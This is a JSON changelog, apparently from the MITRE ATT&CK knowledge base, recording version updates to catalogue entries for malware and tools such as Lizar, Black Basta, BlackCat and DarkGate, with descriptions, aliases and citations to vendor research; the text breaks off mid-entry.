"major_version_changes": [ + { + "type": "malware", + "id": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-02-02 21:05:48.601000+00:00", + "modified": "2025-10-03 14:46:54.018000+00:00", + "name": "Lizar", + "description": "[Lizar](https://attack.mitre.org/software/S0681) is a modular remote access tool written using the .NET Framework that shares structural similarities to [Carbanak](https://attack.mitre.org/software/S0030). It has likely been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least February 2021.(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0681", + "external_id": "S0681" + }, + { + "source_name": "Tirion", + "description": "(Citation: BiZone Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)" + }, + { + "source_name": "Lizar", + "description": "(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)" + }, + { + "source_name": "DiceLoader", + "description": "(Citation: Cocomazzi FIN7 Reboot)" + }, + { + "source_name": "Icebot", + "description": "(Citation: Cocomazzi FIN7 Reboot) " + }, + { + "source_name": "BiZone Lizar May 2021", + "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022.", + "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319" + }, + { + "source_name": "Cocomazzi FIN7 Reboot", + "description": "Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.", + "url": "https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/" + }, + { + "source_name": "Gemini FIN7 Oct 2021", + "description": "Gemini Advisory. (2021, October 21). FIN7 Recruits Talent For Push Into Ransomware. Retrieved February 2, 2022.", + "url": "https://geminiadvisory.io/fin7-ransomware-bastion-secure/" + }, + { + "source_name": "Threatpost Lizar May 2021", + "description": "Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022.", + "url": "https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Lizar", + "Tirion", + "Icebot", + "DiceLoader" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Sittikorn Sangrattanapitak", + "Matt Brenton" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-03 14:46:54.018000+00:00\", \"old_value\": \"2025-04-16 20:38:44.147000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"DiceLoader\", \"description\": \"(Citation: Cocomazzi FIN7 Reboot)\"}, \"root['external_references'][4]\": {\"source_name\": \"Icebot\", \"description\": \"(Citation: Cocomazzi FIN7 Reboot) \"}, \"root['external_references'][6]\": {\"source_name\": \"Cocomazzi FIN7 Reboot\", \"description\": \"Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.\", \"url\": \"https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/\"}, \"root['x_mitre_aliases'][2]\": \"Icebot\", \"root['x_mitre_aliases'][3]\": \"DiceLoader\", \"root['x_mitre_contributors'][1]\": \"Matt Brenton\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + } + ], + "minor_version_changes": [ + { + "type": "malware", + "id": "malware--3161d76a-e2b2-4b97-9906-24909b735386", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-05-26 19:36:04.663000+00:00", + "modified": "2025-10-22 02:32:48.657000+00:00", + "name": "Aria-body", + "description": "[Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since approximately 2017.(Citation: CheckPoint Naikon May 2020)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0456", + "external_id": "S0456" + }, + { + "source_name": "CheckPoint Naikon May 2020", + "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020.", + "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Aria-body" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:32:48.657000+00:00\", \"old_value\": \"2024-04-11 02:58:53.131000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + }, + { + "type": "malware", + "id": "malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-11 15:24:48.709000+00:00", + "modified": "2025-10-22 03:24:56.552000+00:00", + "name": "Avenger", + "description": "[Avenger](https://attack.mitre.org/software/S0473) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0473", + "external_id": "S0473" + }, + { + "source_name": "Trend Micro Tick November 2019", + "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.", + "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Avenger" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 03:24:56.552000+00:00\", \"old_value\": \"2024-04-11 02:56:34.181000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-27 18:45:58.576000+00:00", + "modified": "2025-10-21 03:13:35.145000+00:00", + "name": "BLINDINGCAN", + "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) is a remote access Trojan that has been used by the North Korean government since at least early 2020 in cyber operations against defense, engineering, and government organizations in Western Europe and the US.(Citation: US-CERT BLINDINGCAN Aug 2020)(Citation: NHS UK BLINDINGCAN Aug 2020)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0520", + "external_id": "S0520" + }, + { + "source_name": "NHS UK BLINDINGCAN Aug 2020", + "description": "NHS Digital . (2020, August 20). BLINDINGCAN Remote Access Trojan. Retrieved August 20, 2020.", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3603" + }, + { + "source_name": "US-CERT BLINDINGCAN Aug 2020", + "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020.", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BLINDINGCAN" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 03:13:35.145000+00:00\", \"old_value\": \"2024-04-11 02:51:38.922000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2025-10-22 02:26:07.951000+00:00", + "name": "Bankshot", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0239", + "external_id": "S0239" + }, + { + "source_name": "Bankshot", + "description": "(Citation: McAfee Bankshot)" + }, + { + "source_name": "Trojan Manuscript", + "description": "(Citation: McAfee Bankshot)" + }, + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Bankshot", + "Trojan Manuscript" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:26:07.951000+00:00\", \"old_value\": \"2025-04-25 14:42:48.512000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-08 19:14:27.348000+00:00", + "modified": "2025-10-21 03:10:03.937000+00:00", + "name": "Black Basta", + "description": "[Black Basta](https://attack.mitre.org/software/S1070) is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. [Black Basta](https://attack.mitre.org/software/S1070) operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. [Black Basta](https://attack.mitre.org/software/S1070) affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the [Black Basta](https://attack.mitre.org/software/S1070) RaaS operators could include current or former members of the [Conti](https://attack.mitre.org/software/S0575) group.(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Minerva Labs Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Cyble Black Basta May 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1070", + "external_id": "S1070" + }, + { + "source_name": "Avertium Black Basta June 2022", + "description": "Avertium. (2022, June 1). AN IN-DEPTH LOOK AT BLACK BASTA RANSOMWARE. Retrieved March 7, 2023.", + "url": "https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware" + }, + { + "source_name": "Cyble Black Basta May 2022", + "description": "Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20220506143054/https://blog.cyble.com/2022/05/06/black-basta-ransomware/" + }, + { + "source_name": "Palo Alto Networks Black Basta August 2022", + "description": "Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.", + "url": "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware" + }, + { + "source_name": "NCC Group Black Basta June 2022", + "description": "Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.", + "url": "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/" + }, + { + "source_name": "Deep Instinct Black Basta August 2022", + "description": "Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.", + "url": "https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence" + }, + { + "source_name": "Minerva Labs Black Basta May 2022", + "description": "Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.", + "url": "https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Black Basta" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security", + "Mathieu Hinse", + "Inna Danilevich, U.S. Bank", + "Natthawut Saexu" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "ESXi" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 03:10:03.937000+00:00\", \"old_value\": \"2025-04-15 19:12:30.748000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--50c44c34-3abb-48ae-9433-a2337de5b0bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-02-28 20:50:36.164000+00:00", + "modified": "2025-10-21 15:28:37.027000+00:00", + "name": "BlackCat", + "description": "[BlackCat](https://attack.mitre.org/software/S1068) is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, [BlackCat](https://attack.mitre.org/software/S1068) has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.(Citation: Microsoft BlackCat Jun 2022)(Citation: Sophos BlackCat Jul 2022)(Citation: ACSC BlackCat Apr 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1068", + "external_id": "S1068" + }, + { + "source_name": "Noberus", + "description": "(Citation: ACSC BlackCat Apr 2022)" + }, + { + "source_name": "ALPHV", + "description": "(Citation: Microsoft BlackCat Jun 2022)(Citation: ACSC BlackCat Apr 2022)" + }, + { + "source_name": "ACSC BlackCat Apr 2022", + "description": "Australian Cyber Security Centre. (2022, April 14). 2022-004: ACSC Ransomware Profile - ALPHV (aka BlackCat). Retrieved December 20, 2022.", + "url": "https://www.cyber.gov.au/about-us/advisories/2022-004-acsc-ransomware-profile-alphv-aka-blackcat" + }, + { + "source_name": "Sophos BlackCat Jul 2022", + "description": "Brandt, Andrew. (2022, July 14). BlackCat ransomware attacks not merely a byproduct of bad luck. Retrieved December 20, 2022.", + "url": "https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/" + }, + { + "source_name": "Microsoft BlackCat Jun 2022", + "description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BlackCat", + "ALPHV", + "Noberus" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Hiroki Nagahama, NEC Corporation", + "Josh Arenas, Trustwave Spiderlabs", + "Manikantan Srinivasan, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:28:37.027000+00:00\", \"old_value\": \"2025-04-16 20:38:07.230000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:33:18.506000+00:00", + "modified": "2025-10-22 02:47:28.036000+00:00", + "name": "CORESHELL", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0137", + "external_id": "S0137" + }, + { + "source_name": "CORESHELL", + "description": "(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)" + }, + { + "source_name": "SOURFACE", + "description": "(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)" + }, + { + "source_name": "FireEye APT28 January 2017", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved November 17, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "source_name": "Sofacy", + "description": "This designation has been used in reporting both to refer to the threat group ([APT28](https://attack.mitre.org/groups/G0007)) and its associated malware.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CORESHELL", + "Sofacy", + "SOURFACE" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:47:28.036000+00:00\", \"old_value\": \"2024-11-17 14:43:38.590000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.2\", \"old_value\": \"2.1\"}}}", + "previous_version": "2.1", + "version_change": "2.1 \u2192 2.2" + }, + { + "type": "malware", + "id": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-01-24 16:56:36.108000+00:00", + "modified": "2025-06-06 14:12:30.197000+00:00", + "name": "CharmPower", + "description": "[CharmPower](https://attack.mitre.org/software/S0674) is a PowerShell-based, modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022.(Citation: Check Point APT35 CharmPower January 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0674", + "external_id": "S0674" + }, + { + "source_name": "Check Point APT35 CharmPower January 2022", + "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.", + "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CharmPower" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-06-06 14:12:30.197000+00:00\", \"old_value\": \"2025-04-25 14:43:49.304000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "tool", + "id": "tool--842976c7-f9c8-41b2-8371-41dc64fbe261", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-18 13:39:27.676000+00:00", + "modified": "2025-10-13 20:02:57.828000+00:00", + "name": "ConnectWise", + "description": "[ConnectWise](https://attack.mitre.org/software/S0591) is a legitimate remote administration tool that has been used since at least 2016 by threat actors including [MuddyWater](https://attack.mitre.org/groups/G0069) and [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) to connect to and conduct lateral movement in target environments.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0591", + "external_id": "S0591" + }, + { + "source_name": "ScreenConnect", + "description": "(Citation: Anomali Static Kitten February 2021)" + }, + { + "source_name": "Anomali Static Kitten February 2021", + "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.", + "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies" + }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ConnectWise", + "ScreenConnect" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-13 20:02:57.828000+00:00\", \"old_value\": \"2025-04-16 20:38:53.716000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-02-09 19:52:30.428000+00:00", + "modified": "2025-10-21 03:02:05.582000+00:00", + "name": "DarkGate", + "description": "[DarkGate](https://attack.mitre.org/software/S1111) first emerged in 2018 and has evolved into an initial access and data gathering tool associated with various criminal cyber operations. Written in Delphi and named \"DarkGate\" by its author, [DarkGate](https://attack.mitre.org/software/S1111) is associated with credential theft, cryptomining, cryptotheft, and pre-ransomware actions.(Citation: Ensilo Darkgate 2018) DarkGate use increased significantly starting in 2022 and is under active development by its author, who provides it as a Malware-as-a-Service offering.(Citation: Trellix Darkgate 2023)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1111", + "external_id": "S1111" + }, + { + "source_name": "Ensilo Darkgate 2018", + "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", + "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign" + }, + { + "source_name": "Trellix Darkgate 2023", + "description": "Ernesto Fern\u00e1ndez Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.", + "url": "https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "DarkGate" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Serhii Melnyk, Trustwave SpiderLabs", + "Phyo Paing Htun (ChiLai), I-Secure Co.,Ltd" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 03:02:05.582000+00:00\", \"old_value\": \"2025-04-22 22:18:48.564000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": 